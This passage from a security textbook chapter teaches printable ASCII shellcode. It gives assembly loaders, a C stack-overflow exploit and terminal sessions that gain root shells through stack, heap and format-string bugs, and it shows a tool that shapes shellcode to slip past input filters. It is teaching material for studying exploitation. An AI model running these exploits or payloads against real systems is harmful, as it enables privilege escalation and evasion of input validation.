and eax, 0x454e4f4a ; Zero out the EAX register again 

and eax, 0x3a313035 ; using the same trick 

 

sub eax, 0x344b4b74 ; Subtract some printable values 

sub eax, 0x256e5867 ; from EAX to wrap EAX to 0x80cd0bb0 

sub eax, 0x25795075 ; (took 3 instructions to get there) 

push eax            ; and then push EAX to the stack 

 

sub eax, 0x6e784a38 ; Subtract more printable values 

sub eax, 0x78733825 ; from EAX to wrap EAX to 0x99e18953 

push eax            ; and then push this to the stack 

 

sub eax, 0x64646464 ; Subtract more printable values 

sub eax, 0x6a373737 ; from EAX to wrap EAX to 0x51e3896e 

sub eax, 0x7962644a ; (took 3 instructions to get there) 

push eax            ; and then push EAX to the stack 

 

sub eax, 0x55257555 ; Subtract more printable values 

sub eax, 0x41367070 ; from EAX to wrap EAX to 0x69622f68 

sub eax, 0x52257441 ; (took 3 instructions to get there) 

push eax            ; and then push EAX to the stack 

 

sub eax, 0x77777777 ; Subtract more printable values 

sub eax, 0x33334f4f ; from EAX to wrap EAX to 0x68732f2f 

sub eax, 0x56443973 ; (took 3 instructions to get there) 

push eax            ; and then push EAX to the stack 

 

sub eax, 0x254f2572 ; Subtract more printable values 

sub eax, 0x65654477 ; from EAX to wrap EAX to 0x685180cd 

sub eax, 0x756d4479 ; (took 3 instructions to get there) 

push eax            ; and then push EAX to the stack 

 

sub eax, 0x43434343 ; Subtract more printable values 

sub eax, 0x25773025 ; from EAX to wrap EAX to 0xc931db31 

sub eax, 0x36653234 ; (took 3 instructions to get there) 

push eax            ; and then push EAX to the stack 

 

sub eax, 0x387a3848 ; Subtract more printable values 

sub eax, 0x38713859 ; from EAX to wrap EAX to 0x58466a90 

push eax            ; and then push EAX to the stack 



After all that, the shellcode has been built somewhere after the loader code, 

most likely leaving a gap between the newly built shellcode and the executing 

loader code. This gap can be bridged by building a NOP sled between the 

loader code and the shellcode. 

Once again, sub instructions are used to set EAX to 0x90909090, and EAX is 

repeatedly pushed to the stack. With each push instruction, four NOP 

instructions are tacked onto the beginning of the shellcode. Eventually, these 

NOP instructions will build right over the executing push instructions of the 

loader code, allowing the EIP and program execution to flow over the sled 

into the shellcode. The final results with comments look like this: 

print.asm 
BITS 32 

and eax, 0x454e4f4a ; Zero out the EAX register 

and eax, 0x3a313035 ; by ANDing opposing, but printable bits 

 

push esp            ; Push ESP to the stack, and then 

pop eax             ; pop that into EAX to do a mov eax, esp 

 

sub eax, 0x39393333 ; Subtract various printable values 

sub eax, 0x72727550 ; from EAX to wrap all the way around 

sub eax, 0x54545421 ; to effectively add 860 to ESP 

 

push eax            ; Push EAX to the stack, and then 

pop esp             ; pop that into ESP to do a mov eax, esp 

 

; Now ESP is 860 bytes further down (in higher memory addresses) 

; which is past our loader bytecode that is executing now. 

 

and eax, 0x454e4f4a ; Zero out the EAX register again 

and eax, 0x3a313035 ; using the same trick 

sub eax, 0x344b4b74 ; Subtract some printable values 

sub eax, 0x256e5867 ; from EAX to wrap EAX to 0x80cd0bb0 

sub eax, 0x25795075 ; (took 3 instructions to get there) 

push eax            ; and then push EAX to the stack 

 

sub eax, 0x6e784a38 ; Subtract more printable values 

sub eax, 0x78733825 ; from EAX to wrap EAX to 0x99e18953 

push eax            ; and then push this to the stack 

 

sub eax, 0x64646464 ; Subtract more printable values 

sub eax, 0x6a373737 ; from EAX to wrap EAX to 0x51e3896e 

sub eax, 0x7962644a ; (took 3 instructions to get there) 

push eax            ; and then push EAX to the stack 

 

sub eax, 0x55257555 ; Subtract more printable values 

sub eax, 0x41367070 ; from EAX to wrap EAX to 0x69622f68 

sub eax, 0x52257441 ; (took 3 instructions to get there) 

push eax            ; and then push EAX to the stack 

 

sub eax, 0x77777777 ; Subtract more printable values 

sub eax, 0x33334f4f ; from EAX to wrap EAX to 0x68732f2f 

sub eax, 0x56443973 ; (took 3 instructions to get there) 

push eax            ; and then push EAX to the stack 

 

sub eax, 0x254f2572 ; Subtract more printable values 



sub eax, 0x65654477 ; from EAX to wrap EAX to 0x685180cd 

sub eax, 0x756d4479 ; (took 3 instructions to get there) 

push eax            ; and then push EAX to the stack 

 

sub eax, 0x43434343 ; Subtract more printable values 

sub eax, 0x25773025 ; from EAX to wrap EAX to 0xc931db31 

sub eax, 0x36653234 ; (took 3 instructions to get there) 

push eax            ; and then push EAX to the stack 

 

sub eax, 0x387a3848 ; Subtract more printable values 

sub eax, 0x38713859 ; from EAX to wrap EAX to 0x58466a90 

push eax            ; and then push EAX to the stack 

 

; add a NOP sled 

sub eax, 0x6a346a6a ; Subtract more printable values 

sub eax, 0x254c3964 ; from EAX to wrap EAX to 0x90909090 

sub eax, 0x38353632 ; (took 3 instructions to get there) 

push eax            ; and then push EAX to the stack 

push eax            ; many times to build a NOP sled 

push eax            ; to bridge the loader code to the 

push eax            ; freshly built shellcode. 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

This assembles into a printable ASCII string, which doubles as executable 

machine code. 

$ nasm print.asm 

$ cat print 

The machine code looks like this: 

%JONE%501:TX-3399-Purr-!TTTP\%JONE%501:-tKK4-gXn%-uPy%P-8Jxn-%8sxP-

dddd-777j-JdbyP-Uu%U- 

pp6A-At%RP-wwww-OO33-s9DVP-r%O%-wDee-yDmuP-CCCC-%0w%-42e6P-H8z8-Y8q8P-

jj4j-d9L%- 

2658PPPPPPPPPPPPPPPP 

This code can be used in a stack-based overflow exploit when the beginning 

of the printable shellcode is located near the current stack pointer, because the 

stack pointer is relocated relative to the current stack pointer by the loader 

code. Fortunately, this is the case when the code is stored in the exploit buffer. 

The following code is the original exploit.c code from the previous chapter, 

modified to use the printable ASCII shellcode. 



printable_exploit.c 
#include <stdlib.h> 

 

char shellcode[] = 

"%JONE%501:TX-3399-Purr-!TTTP\\%JONE%501:-tKK4-gXn%-uPy%P-8Jxn-%8sxP-

dddd-777j- 

JdbyP-Uu%U-pp6A-At%RP-wwww-OO33-s9DVP-r%O%-wDee-yDmuP-CCCC-%0w%-42e6P-

H8z8-Y8q8P- 

jj4j-d9L%-2658PPPPPPPPPPPPPPPP"; 

 

unsigned long sp(void)         // This is just a little function 

{ __asm__("movl %esp, %eax");} // used to return the stack pointer 

 

int main(int argc, char *argv[]) 

{ 

   int i, offset; 

   long esp, ret, *addr_ptr; 

   char *buffer, *ptr; 

   if(argc < 2)                // If no offset if given on command 

line 

   {                           // Print a usage message 

      printf("Use %s <offset>\nUsing default offset of 0\n",argv[0]); 

      offset = 0;              // and set a default offset of 0. 

   } 

   else                      // Otherwise, use the offset given on 

command line 

   { 

      offset = atoi(argv[1]);  // offset = offset given on command 

line 

   } 

   esp = sp();                 // Put the current stack pointer into 

esp 

   ret = esp - offset;         // We want to overwrite the ret address 

 

   printf("Stack pointer (EIP) : 0x%x\n", esp); 

   printf(" Offset from EIP : 0x%x\n", offset); 

   printf("Desired Return Addr : 0x%x\n", ret); 

 

// Allocate 600 bytes for buffer (on the heap) 

   buffer = malloc(600); 

 

// Fill the entire buffer with the desired ret address 

   ptr = buffer; 

   addr_ptr = (long *) ptr; 

   for(i=0; i < 600; i+=4) 

   { *(addr_ptr++) = ret; } 

 

// Fill the first 200 bytes of the buffer with "NOP" instructions 

   for(i=0; i < 200; i++) 

   { buffer[i] = '@'; } // Use a printable single-byte instruction 

 

// Put the shellcode after the NOP sled 

   ptr = buffer + 200 - 1; 

   for(i=0; i < strlen(shellcode); i++) 

   { *(ptr++) = shellcode[i]; } 

 

// End the string 

   buffer[600-1] = 0; 

 

// Now call the program ./vuln with our crafted buffer as its argument 

   execl("./vuln", "vuln", buffer, 0); 



 

   return 0; 

} 

This is basically the same exploit code from before, but it uses the new 

printable shellcode and a printable single-byte instruction to create the NOP 

sled. Also, notice that the backslash character in the printable shellcode is 

escaped with another backslash to appease the compiler. This would be 

unnecessary if the printable shellcode were defined using hex characters. The 

following output shows the exploit program being compiled and executed, 

yielding a root shell. 

$ gcc -o exploit2 printable_exploit.c 

$ ./exploit2 0 

Stack pointer (EIP) : 0xbffff7f8 

   Offset from EIP : 0x0 

Desired Return Addr : 0xbffff7f8 

sh-2.05b# whoami 

root 

sh-2.05b# 

Excellent, the printable shellcode works. And because there are many 

different combinations of sub instruction values that will wrap EAX around to 

each desired value, the shellcode also possesses polymorphic qualities. 

Changing these values will result in mutated or different-looking shellcode 

that will still achieve the same end results. 

Exploiting using printable characters can be done on the command line too, 

using a NOP sled that would make Mr. T proud. 

$ echo 'main(){int sp;printf("%p\n",&sp);}'>q.c;gcc -o q.x 

q.c;./q.x;rm q.? 

0xbffff844 

$ ./vuln 'perl -e 'print "JIBBAJABBA"x20;'"cat print"perl -e 'print 

"\x44\xf8\xff\xbf"x40;'' 

sh-2.05b# whoami 

root 

sh-2.05b# 

However, this printable shellcode won't work if it is stored in an environment 

variable, because the stack pointer won't be in the same location. In order for 

the real shellcode to be written to a place accessible by the printable shellcode, 

a new tactic is needed. One option is to calculate the location of the 

environment variable and modify the printable shellcode each time, to place 

the stack pointer about 50 bytes past the end of the printable loader code to 

allow for the real shellcode to be built. 

While this is possible, a simpler solution exists. Because environment 

variables tend to be located near the bottom of the stack (in the higher 

memory addresses), the stack pointer can just be set to an address near the 



bottom of the stack, such as 0xbfffffe0. Then the real shellcode will be built 

from this point backward, and a large NOP sled can be built to bridge the gap 

between the printable shellcode (loader code in the environment) and the real 

shellcode. The next page shows a new version of the printable shellcode that 

does this. 

print2.asm 
 

BITS 32 

and eax, 0x454e4f4a ; Zero out the EAX register 

and eax, 0x3a313035 ; by ANDing opposing, but printable bits 

 

sub eax, 0x59434243 ; Subtract various printable values 

sub eax, 0x6f6f6f6f ; from EAX to set it to 0xbfffffe0 

sub eax, 0x774d4e6e ; (no need to get the current ESP this time) 

 

push eax            ; Push EAX to the stack, and then 

pop esp             ; pop that into ESP to do a mov eax, esp 

 

; Now ESP is at 0xbfffffe0 

; which is past the loader bytecode that is executing now. 

 

and eax, 0x454e4f4a ; Zero out the EAX register again 

and eax, 0x3a313035 ; using the same trick 

 

sub eax, 0x344b4b74 ; Subtract some printable values 

sub eax, 0x256e5867 ; from EAX to wrap EAX to 0x80cd0bb0 

sub eax, 0x25795075 ; (took 3 instructions to get there) 

push eax            ; and then push EAX to the stack 

 

sub eax, 0x6e784a38 ; Subtract more printable values 

sub eax, 0x78733825 ; from EAX to wrap EAX to 0x99e18953 

push eax            ; and then push this to the stack 

 

sub eax, 0x64646464 ; Subtract more printable values 

sub eax, 0x6a373737 ; from EAX to wrap EAX to 0x51e3896e 

sub eax, 0x7962644a ; (took 3 instructions to get there) 

push eax            ; and then push EAX to the stack 

 

sub eax, 0x55257555 ; Subtract more printable values 

sub eax, 0x41367070 ; from EAX to wrap EAX to 0x69622f68 

sub eax, 0x52257441 ; (took 3 instructions to get there) 

push eax            ; and then push EAX to the stack 

 

sub eax, 0x77777777 ; Subtract more printable values 

sub eax, 0x33334f4f ; from EAX to wrap EAX to 0x68732f2f 

sub eax, 0x56443973 ; (took 3 instructions to get there) 

push eax            ; and then push EAX to the stack 

 

sub eax, 0x254f2572 ; Subtract more printable values 

sub eax, 0x65654477 ; from EAX to wrap EAX to 0x685180cd 

sub eax, 0x756d4479 ; (took 3 instructions to get there) 

push eax            ; and then push EAX to the stack 

 

sub eax, 0x43434343 ; Subtract more printable values 

sub eax, 0x25773025 ; from EAX to wrap EAX to 0xc931db31 

sub eax, 0x36653234 ; (took 3 instructions to get there) 

push eax            ; and then push EAX to the stack 

 



sub eax, 0x387a3848 ; Subtract more printable values 

sub eax, 0x38713859 ; from EAX to wrap EAX to 0x58466a90 

push eax            ; and then push EAX to the stack 

 

; add a NOP sled 

sub eax, 0x6a346a6a ; Subtract more printable values 

sub eax, 0x254c3964 ; from EAX to wrap EAX to 0x90909090 

sub eax, 0x38353632 ; (took 3 instructions to get there) 

push eax            ; and then push EAX to the stack 

push eax            ; many times to build a NOP sled 

push eax            ; to bridge the loader code to the 

push eax            ; freshly built shellcode. 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

push eax 

In the following two output boxes, the preceeding code is assembled and 

displayed. 

$ nasm print2.asm 

$ cat print2 

assembled print2 shellcode 
%JONE%501:-CBCY-oooo-nNMwP\%JONE%501:-tKK4-gXn%-uPy%P-8Jxn-%8sxP-dddd-

777j-JdbyP-Uu%U-pp6A- 

At%RP-wwww-OO33-s9DVP-r%O%-wDee-yDmuP-CCCC-%0w%-42e6P-H8z8-Y8q8P-jj4j-

d9L%- 

2658PPPPPPPPPPPPPPPP 

This modified version of the printable shellcode is basically the same, but 

instead of setting the stack pointer relative to the current stack pointer, it is 



simply set to 0xbfffffe0. The number of NOP sled-building push instructions 

at the end may need to be varied, depending on where the shellcode is located. 

Let's try out the new printable shellcode: 

$ export ZPRINTABLE=JIBBAJABBAHIJACK'cat print2' 

$ env 

MANPATH=/usr/share/man:/usr/local/share/man:/usr/share/gcc-data/i686-

pc-linux- 

gnu/3.2/man:/usr/X11R6/man:/opt/insight/man 

INFODIR=/usr/share/info:/usr/X11R6/info 

HOSTNAME=overdose 

TERM=xterm 

SHELL=/bin/sh 

SSH_CLIENT=192.168.0.118 1840 22 

SSH_TTY=/dev/pts/2 

MOZILLA_FIVE_HOME=/usr/lib/mozilla 

USER=matrix 

PAGER=/usr/bin/less 

CONFIG_PROTECT_MASK=/etc/gconf 

PATH=/bin:/usr/bin:/usr/local/bin:/opt/bin:/usr/i686-pc-linux-gnu/gcc- 

bin/3.2:/usr/X11R6/bin:/opt/sun-jdk-1.4.0/bin:/opt/sun-jdk- 

1.4.0/jre/bin:/usr/games/bin:/opt/insight/bin:.:/opt/j2re1.4.1/bin:/sb

in:/usr/sbin: 

/usr/local/sbin:/home/matrix/bin 

PWD=/hacking 

JAVA_HOME=/opt/sun-jdk-1.4.0 

EDITOR=/bin/nano 

JAVAC=/opt/sun-jdk-1.4.0/bin/javac 

PS1=\$ 

CXX=g++ 

JDK_HOME=/opt/sun-jdk-1.4.0 

SHLVL=1 

HOME=/home/matrix 

ZPRINTABLE=JIBBAJABBAHIJACK%JONE%501:-CBCY-oooo-nNMwP\%JONE%501:-tKK4-

gXn%-uPy%P- 

8Jxn-%8sxP-dddd-777j-JdbyP-Uu%U-pp6A-At%RP-wwww-OO33-s9DVP-r%O%-wDee-

yDmuP-CCCC- 

%0w%-42e6P-H8z8-Y8q8P-jj4j-d9L%-2658PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP 

LESS=-R 

LOGNAME=matrix 

CVS_RSH=ssh 

LESSOPEN=|lesspipe.sh %s 

INFOPATH=/usr/share/info:/usr/share/gcc-data/i686-pc-linux-

gnu/3.2/info 

CC=gcc 

G_BROKEN_FILENAMES=1 

_=/usr/bin/env 

$ ./getenvaddr ZPRINTABLE 

ZPRINTABLE is located at 0xbffffe63 

$ ./vuln2 'perl -e 'print "\x63\xfe\xff\xbf"x9;'' 

sh-2.05b# whoami 

root 

sh-2.05b# 

This works fine, because ZPRINTABLE is located near the end of the 

environment. If it were any closer to the end, extra characters would need to 

be added to the end of the printable shellcode to save space for the real 



shellcode to be built. If the printable shellcode is located further away from 

the end, a longer NOP sled will be needed to bridge the gap. An example of 

this follows: 

$ unset ZPRINTABLE 

$ export SHELLCODE=JIBBAJABBAHIJACK'cat print2' 

$ env 

MANPATH=/usr/share/man:/usr/local/share/man:/usr/share/gcc-data/i686-

pc-linux- 

gnu/3.2/man:/usr/X11R6/man:/opt/insight/man 

INFODIR=/usr/share/info:/usr/X11R6/info 

HOSTNAME=overdose 

SHELLCODE=JIBBAJABBAHIJACK%JONE%501:-CBCY-oooo-nNMwP\%JONE%501:-tKK4-

gXn%-uPy%P- 

8Jxn-%8sxP-dddd-777j-JdbyP-Uu%U-pp6A-At%RP-wwww-OO33-s9DVP-r%O%-wDee-

yDmuP-CCCC- 

%0w%-42e6P-H8z8-Y8q8P-jj4j-d9L%-2658PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP 

TERM=xterm 

SHELL=/bin/sh 

SSH_CLIENT=192.168.0.118 1840 22 

SSH_TTY=/dev/pts/2 

MOZILLA_FIVE_HOME=/usr/lib/mozilla 

USER=matrix 

PAGER=/usr/bin/less 

CONFIG_PROTECT_MASK=/etc/gconf 

PATH=/bin:/usr/bin:/usr/local/bin:/opt/bin:/usr/i686-pc-linux-gnu/gcc- 

bin/3.2:/usr/X11R6/bin:/opt/sun-jdk-1.4.0/bin:/opt/sun-jdk- 

1.4.0/jre/bin:/usr/games/bin:/opt/insight/bin:.:/opt/j2re1.4.1/bin:/sb

in:/usr/sbin: 

/usr/local/sbin:/home/matrix/bin 

PWD=/hacking 

JAVA_HOME=/opt/sun-jdk-1.4.0 

EDITOR=/bin/nano 

JAVAC=/opt/sun-jdk-1.4.0/bin/javac 

PS1=\$ 

CXX=g++ 

JDK_HOME=/opt/sun-jdk-1.4.0 

SHLVL=1 

HOME=/home/matrix 

LESS=-R 

LOGNAME=matrix 

CVS_RSH=ssh 

LESSOPEN=|lesspipe.sh %s 

INFOPATH=/usr/share/info:/usr/share/gcc-data/i686-pc-linux-

gnu/3.2/info 

CC=gcc 

G_BROKEN_FILENAMES=1 

_=/usr/bin/env 

$ ./getenvaddr SHELLCODE 

SHELLCODE is located at 0xbffffc03 

$ ./vuln2 'perl -e 'print "\x03\xfc\xff\xbf"x9;'' 

Segmentation fault 

$ export SHELLCODE=JIBBAJABBAHIJACK'cat 

print2'PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP

PPPPPPPPPPPPP 

PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP

PPPPPPPPPPPPP 

P 

$ ./getenvaddr SHELLCODE 

SHELLCODE is located at 0xbffffb63 



$ ./vuln2 'perl -e 'print "\x63\xfb\xff\xbf"x9;'' 

sh-2.05b# whoami 

root 

sh-2.05b# 

Now that working printable shellcode exists in an environment variable, it can 

be used with heap-based overflows and format-string exploits. 

Here is an example of printable shellcode being used in the heap-based 

overflow from before: 

$ unset SHELLCODE 

$ export ZPRINTABLE='cat print2' 

$ getenvaddr ZPRINTABLE 

ZPRINTABLE is located at 0xbffffe73 

$ pcalc 0x73 + 4 

        119              0x77          0y1110111 

$ ./bss_game 12345678901234567890'printf "\x77\xfe\xff\xbf"' 

---DEBUG-- 

[before strcpy] function_ptr @ 0x8049c88: 0x8048662 

[*] buffer @ 0x8049c74: 12345678901234567890wŢ˙ż 

[after strcpy] function_ptr @ 0x8049c88: 0xbffffe77 

---------- 

 

sh-2.05b# whoami 

root 

sh-2.05b# 

And here is an example of printable shellcode being used in a format-string 

exploit: 

$ getenvaddr ZPRINTABLE 

ZPRINTABLE is located at 0xbffffe73 

$ pcalc 0x73 + 4 

        119            0x77             0y1110111 

$ nm ./fmt_vuln | grep DTOR 

0804964c d __DTOR_END__ 

08049648 d __DTOR_LIST__ 

$ pcalc 0x77 - 16 

        103            0x67             0y1100111 

$ pcalc 0xfe - 0x77 

        135            0x87             0y10000111 

$ pcalc 0x1ff - 0xfe 

        257            0x101            0y100000001 

$ pcalc 0x1bf - 0xff 

        192            0xc0             0y11000000 

$ ./fmt_vuln 'printf 

"\x4c\x96\x04\x08\x4d\x96\x04\x08\x4e\x96\x04\x08\x4f\x96\x04\x08"'%3\

$103x%4\$n%3\ 

$135x%5\$n%3\$257x%6\$n%3\$192x%7\$n 

The right way: 

%3$103x%4$n%3$135x%5$n%3$257x%6$n%3$192x%7$n 

The wrong way: 

 

                                          0 

 

                                                         0 

 



              0 

 

                          0 

[*] test_val @ 0x08049570 = -72 0xffffffb8 

sh-2.05b# whoami 

root 

sh-2.05b# 

Printable shellcode like this could be used to exploit a program that normally 

does input validation to restrict against nonprintable characters. 

0x2ab Dissembler 

Phiral Research Laboratories has provided a useful tool called dissembler, that 

uses the same technique shown previously to generate printable ASCII 

bytecode from an existing piece of bytecode. This tool is available 

at http://www.phiral.com/. 

$ ./dissembler 

dissembler 0.9 - polymorphs bytecode to a printable ASCII string 

  - Jose Ronnick <matrix@phiral.com> Phiral Research Labs - 

      438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0 

 

Usage: ./dissembler [switches] bytecode 

 

Optional dissembler switches: 

  -t <target address>    near where the bytecode is going 

  -N                    optimize with ninja magic 

  -s <original size>    size changes target, adjust with orig size 

  -b <NOP bridge size>    number of words in the NOP bridge 

  -c <charset>       which chars are considered printable 

  -w <output file>       write dissembled code to output file 

  -e                       escape the backlash in output 

By default, dissembler will start building the shellcode at the end of the stack 

and then try to build a NOP bridge (or sled) from the loader code to the newly 

built code. The size of the bridge can be controlled with the -b switch. This is 

demonstrated with the vuln2.c program from earlier in the chapter: 

$ cat vuln2.c 

int main(int argc, char *argv[]) 

{ 

      char buffer[5]; 

      strcpy(buffer, argv[1]); 

      return 0; 

} 

$ gcc -o vuln2 vuln2.c 

$ sudo chown root.root vuln2 

$ sudo chmod +s vuln2 

 

$ dissembler -e -b 300 tinyshell 

dissembler 0.9 - polymorphs bytecode to a printable ASCII string 

   - Jose Ronnick <matrix@phiral.com> Phiral Research Labs - 

      438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0 

 

[e] Escape the backslash: ON 

http://www.phiral.com/


[b] Bridge size: 300 words 

[*] Dissembling bytecode from 'tinyshell'... 

 

[+] dissembled bytecode is 461 bytes long. 

-- 

%83D5%AD0H-hhhh-KKKh-VLLoP\\-kDDk-vMvc-fbxpP--Mzp-05qvP-VVVV-bbbx--

GEyP-Sf6S-Pz%P- 

cy%EP-xxxx-PP5P-q7A8P-w777-wIpp-t-zXP-GHHH-00x%-%-_1P-jKzK-7%q%P-0000-

yy11- 

W0TfPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP

PPPPPPPPPPPPP 

PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP

PPPPPPPPPPPPP 

PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP

PPPPPPPPPPPPP 

PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP 

$ export SHELLCODE=%83D5%AD0H-hhhh-KKKh-VLLoP\\-kDDk-vMvc-fbxpP--Mzp-

05qvP-VVVV- 

bbbx--GEyP-Sf6S-Pz%P-cy%EP-xxxx-PP5P-q7A8P-w777-wIpp-t-zXP-GHHH-00x%-

%-_1P-jKzK- 

7%q%P-0000-yy11- 

W0TfPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP

PPPPPPPPPPPPP 

PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP

PPPPPPPPPPPPP 

PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP

PPPPPPPPPPPPP 

PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP 

$ ./getenvaddr SHELLCODE 

SHELLCODE is located at 0xbffffa3a 

$ ln -s ./getenvaddr ./gtenv 

$ ./gtenv SHELLCODE 

SHELLCODE is located at 0xbffffa44 

$ ./vuln2 'perl -e 'print "\x44\xfa\xff\xbf"x8;'' 

sh-2.05b# whoami 

root 

sh-2.05b# 

In this example, printable ASCII shellcode is created from the tiny shellcode 

file. The backslash is escaped to make copying and pasting easier when the 

same string is put into an environment variable. As usual, the location of the 

shellcode in the environment variable will change depending on the size of the 

name of the executing program. 

Note that instead of doing the math each time, a symbolic link to the 

getenvaddr program is made with the same-size filename as the target 

program. This is an easy hack that simplifies the exploit process; hopefully 

you had come up with a similar solution of your own by now. 

The bridge will be 300 words of NOPs (1,200 bytes), which is plenty to bridge 

the gap, but it does make the printable shellcode quite big. This can be 

optimized if the target address for the loader code is known. Also, grave 

accents can be used to eliminate the cutting and pasting, because the shellcode 

is written out to standard output, while the verbose information is written out 

to standard error. 



The following output shows dissembler being used to create printable 

shellcode from regular shellcode. This is stored in an environment variable 

and an attempt is made to use it to exploit the vuln2 program. 

$ export SHELLCODE='dissembler -N -t 0xbffffa44 tinyshell' 

dissembler 0.9 - polymorphs bytecode to a printable ASCII string 

   - Jose Ronnick <matrix@phiral.com> Phiral Research Labs - 

      438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0 

 

[N] Ninja Magic Optimization: ON 

[t] Target address: 0xbffffa44 

[+] Ending address: 0xbffffb16 

[*] Dissembling bytecode from 'tinyshell'... 

[&] Optimizing with ninja magic... 

 

[+] dissembled bytecode is 145 bytes long. 

-- 

$ env | grep SHELLCODE 

SHELLCODE=%PG2H%%8H6-IIIz-KHHK-xsnzP\-RMMM-xllx-z5yyP-04yy--NrmP-tttt-

0F0m-AEYfP- 

Ih%I-zz%z-Cw6%P-m%%%-UsUz-wgtaP-o2YY-z-g--yNayP-99X9-66e8--6b-P-i-s--

8CxCP 

$ ./gtenv SHELLCODE 

SHELLCODE is located at 0xbffffb80 

$ ./vuln2 'perl -e 'print "\x80\xfb\xff\xbf"x8;'' 

Segmentation fault 

$ pcalc 461 - 145 

        316             0x13c           0y100111100 

$ pcalc 0xfb80 - 316 

        64068           0xfa44          0y1111101001000100 

$ 

Notice that the printable shellcode is now much smaller, because there's no 

need for the NOP bridge when optimization is turned on. The first part of the 

printable shellcode is designed to build the actual shellcode exactly after the 

loader code. Also, notice how grave accents are used this time to avoid the 

hassle of cutting and pasting. 

Unfortunately, the size of an environment variable changes its location. 

Because the previous printable shellcode was 461 bytes long and this new 

piece of optimized printable shellcode is only 145 bytes long, the target 

address will be incorrect. Trying to hit a moving target can be tedious, so 

there's a switch built into the dissembler for this. 

$ export SHELLCODE='dissembler -N -t 0xbffffa44 -s 461 tinyshell' 

dissembler 0.9 - polymorphs bytecode to a printable ASCII string 

   - Jose Ronnick <matrix@phiral.com> Phiral Research Labs - 

      438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0 

 

[N] Ninja Magic Optimization: ON 

[t] Target address: 0xbffffa44 

[s] Size changes target: ON (adjust size: 461 bytes) 

[+] Ending address: 0xbffffb16 

[*] Dissembling bytecode from 'tinyshell'... 

[&] Optimizing with ninja magic... 

[&] Adjusting target address to 0xbffffb80.. 



 

[+] dissembled bytecode is 145 bytes long. 

-- 

$ env | grep SHELLCODE 

SHELLCODE=%M4NZ%0B0%-llll-1AAz-3VRYP\-%0bb-6vvv-%JZfP-06wn--LtxP-AAAn-

Lvvv-XHFcP- 

ll%l-eu%8-5x6DP-gggg-i00i-ihW0P-yFFF-v5ll-s2oMP-BBsB-56X7-%-T%P-i%u%-

8KvKP 

$ ./vuln2 'perl -e 'print "\x80\xfb\xff\xbf"x8;'' 

sh-2.05b# whoami 

root 

sh-2.05b# 

This time, the target address is automatically adjusted based on the changing 

size of the new printable shellcode. The new target address is also displayed 

(shown in bold), to make the exploitation easier. 

Another useful option is a customizable character set. This will help the 

printable shellcode sneak past various character restrictions. The following 

example shows the printable shellcode being generated only using the 

characters P, c, t, w, z, 7, -, and %. 

$ export SHELLCODE='dissembler -N -t 0xbffffa44 -s 461 -c Pctwz72-% 

tinyshell' 

dissembler 0.9 - polymorphs bytecode to a printable ASCII string 

   - Jose Ronnick <matrix@phiral.com> Phiral Research Labs - 

      438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0 

 

[N] Ninja Magic Optimization: ON 

[t] Target address: 0xbffffa44 

[s] Size changes target: ON (adjust size: 461 bytes) 

[c] Using charset: Pctwz72-% (9) 

[+] Ending address: 0xbffffb16 

[*] Dissembling bytecode from 'tinyshell'... 

[&] Optimizing with ninja magic... 

[&] Adjusting target address to 0xbffffb4e.. 

 

[+] dissembled bytecode is 195 bytes long. 

-- 

$ env | grep SHELLCODE 

SHELLCODE=%P---%%PPP-t%2%-tt-t-t7Pt-t2P2P\-w2%w-2c%2-c-t2-t-tcP-t----

tzc2-%w-7-Pc- 

PP-w-PP-z-c--z-%P-zw%zP-z7w2--wcc--tt--272%P-7P%7-z2ww-c----%P%%P-

w%z%-t%-w-wczcP- 

zz%t-7PPP-tc2c-wwwwP-wwcw-Pc-P-w2-2-cc-wP 

$ ./vuln2 'perl -e 'print "\x4e\xfb\xff\xbf"x8;'' 

sh-2.05b# whoami 

root 

sh-2.05b# 

While it's unlikely that a program with such an odd input-validation function 

would be found in practice, there are some common functions that are used for 

input validation. Here is a sample vulnerable program that would need 

printable shellcode to exploit, due to a validation loop using the isprint() 

function. 



only_print.c code 
void func(char *data) 

{ 

   char buffer[5]; 

   strcpy(buffer, data); 

} 

 

int main(int argc, char *argv[], char *envp[]) 

{ 

   int i; 

 

   // clearing out the stack memory 

   // clearing all arguments except the first and second 

   memset(argv[0], 0, strlen(argv[0])); 

   for(i=3; argv[i] != 0; i++) 

      memset(argv[i], 0, strlen(argv[i])); 

   // clearing all environment variables 

   for(i=0; envp[i] != 0; i++) 

      memset(envp[i], 0, strlen(envp[i])); 

 

   // If the first argument is too long, exit 

   if(strlen(argv[1]) > 40) 

   { 

